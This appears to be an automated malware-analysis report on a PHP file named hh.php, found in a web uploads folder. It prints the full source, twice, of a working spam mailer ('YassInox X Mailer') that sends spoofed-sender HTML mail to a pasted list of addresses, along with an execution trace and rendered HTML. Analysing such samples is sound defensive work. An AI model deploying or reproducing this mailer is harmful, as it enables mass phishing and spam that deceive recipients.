PHP Malware Analysis

hh.php

md5: 281aa63696246413e06d06309728cf00

Jump to:

Screenshot


Attributes

Input

Title


Deobfuscated PHP code

 
 
<html>
<head>
<title>YassInox X Mailer</title>
<style>
BODY {
background-color :  black;
}
.button {
background-color : black;
color : green;
}
.myform {
border: solid 2px green;
}
</style>
</head>
<body>
<br><br><br><br>
<div class="myform">
<center><font color=green size=10>YASSINOX MAILER </font>
<br><br>
<form method="post" name="f1">
<input type="text" name="subject" placeholder="Subject" size="27" id="subject">
&nbsp;&nbsp;&nbsp;&nbsp;
<input type="text" name="from" placeholder="From" size="27" id="from">
<br><br>  
<input type="text" name="name" placeholder="Name" size="27" id="name">
&nbsp;&nbsp;&nbsp;&nbsp;
<input type="text" name="dec" placeholder="Decryption" size="27" id="dec">
<br><br>
<textarea rows=10 cols=30 name="letter" placeholder="Letter" id="letter">
</textarea>
<textarea rows=10 cols=30 name="emails" placeholder="Mail List" id="mlist">
</textarea>
<br><br>
<input type="submit" name="post" class="button" value="Fuck'em">
</form>
</div>
<?php 
if (isset($_POST['post'])) {
    $from = $_POST['from'];
    $subject = $_POST['subject'];
    $name = $_POST['name'];
    $letter = $_POST['letter'];
    $dec = $_POST['dec'];
    $headers = "From: {$name} <{$from}>" . "\r\n" . "CC: {$from}";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-type:text/html;charset=UTF-8\r\n";
    $mails = $_POST['emails'];
    $usr = explode("\n", $_POST['emails']);
    foreach ($usr as $user) {
        $too = $user;
        mail($too, $subject, $letter, $headers);
        print "<center><br><font color=green size=4>[ ! ] </font><font color=blue size=4>Email Sent To : " . $too . "</font></center>";
    }
    echo <<<script
<script>
document.getElementById("subject").value = "{$subject}";
document.getElementById("from").value = "{$from}";
document.getElementById("name").value = "{$name}";
document.getElementById("letter").value = "{$letter}";
document.getElementById("mlist").value = "{$mails}";
</script>
script;
}

Execution traces

data/traces/281aa63696246413e06d06309728cf00_trace-1676243711.4278.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:15:37.325639]
1	0	1	0.000195	393464
1	3	0	0.000289	400504	{main}	1		/var/www/html/uploads/hh.php	0	0
1	3	1	0.000309	400504
			0.000342	314200
TRACE END   [2023-02-12 21:15:37.325825]


Generated HTML code

<html><head>
<title>YassInox X Mailer</title>
<style>
BODY {
background-color :  black;
}
.button {
background-color : black;
color : green;
}
.myform {
border: solid 2px green;
}
</style>
</head>
<body>
<br><br><br><br>
<div class="myform">
<center><font color="green" size="10">YASSINOX MAILER </font>
<br><br>
<form method="post" name="f1">
<input type="text" name="subject" placeholder="Subject" size="27" id="subject">
&nbsp;&nbsp;&nbsp;&nbsp;
<input type="text" name="from" placeholder="From" size="27" id="from">
<br><br>  
<input type="text" name="name" placeholder="Name" size="27" id="name">
&nbsp;&nbsp;&nbsp;&nbsp;
<input type="text" name="dec" placeholder="Decryption" size="27" id="dec">
<br><br>
<textarea rows="10" cols="30" name="letter" placeholder="Letter" id="letter"></textarea>
<textarea rows="10" cols="30" name="emails" placeholder="Mail List" id="mlist"></textarea>
<br><br>
<input type="submit" name="post" class="button" value="Fuck'em">
</form>
</center></div>
</body></html>

Original PHP code

 
 
<html>
<head>
<title>YassInox X Mailer</title>
<style>
BODY {
background-color :  black;
}
.button {
background-color : black;
color : green;
}
.myform {
border: solid 2px green;
}
</style>
</head>
<body>
<br><br><br><br>
<div class="myform">
<center><font color=green size=10>YASSINOX MAILER </font>
<br><br>
<form method="post" name="f1">
<input type="text" name="subject" placeholder="Subject" size="27" id="subject">
&nbsp;&nbsp;&nbsp;&nbsp;
<input type="text" name="from" placeholder="From" size="27" id="from">
<br><br>  
<input type="text" name="name" placeholder="Name" size="27" id="name">
&nbsp;&nbsp;&nbsp;&nbsp;
<input type="text" name="dec" placeholder="Decryption" size="27" id="dec">
<br><br>
<textarea rows=10 cols=30 name="letter" placeholder="Letter" id="letter">
</textarea>
<textarea rows=10 cols=30 name="emails" placeholder="Mail List" id="mlist">
</textarea>
<br><br>
<input type="submit" name="post" class="button" value="Fuck'em">
</form>
</div>
<?php 
if (isset($_POST['post']))
{
$from = $_POST['from'];
$subject = $_POST['subject'];
$name = $_POST['name'];
$letter = $_POST['letter'];
$dec = $_POST['dec'];
$headers = "From: $name <$from>" . "\r\n" ."CC: $from";
$headers .= "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$mails = $_POST['emails'];
$usr=explode("\n",$_POST['emails']);
foreach($usr as $user)
{
$too = $user;
mail($too,$subject,$letter,$headers);
print "<center><br><font color=green size=4>[ ! ] </font><font color=blue size=4>Email Sent To : ".$too."</font></center>";
}
echo <<<script
<script>
document.getElementById("subject").value = "$subject";
document.getElementById("from").value = "$from";
document.getElementById("name").value = "$name";
document.getElementById("letter").value = "$letter";
document.getElementById("mlist").value = "$mails";
</script>
script;
}
?>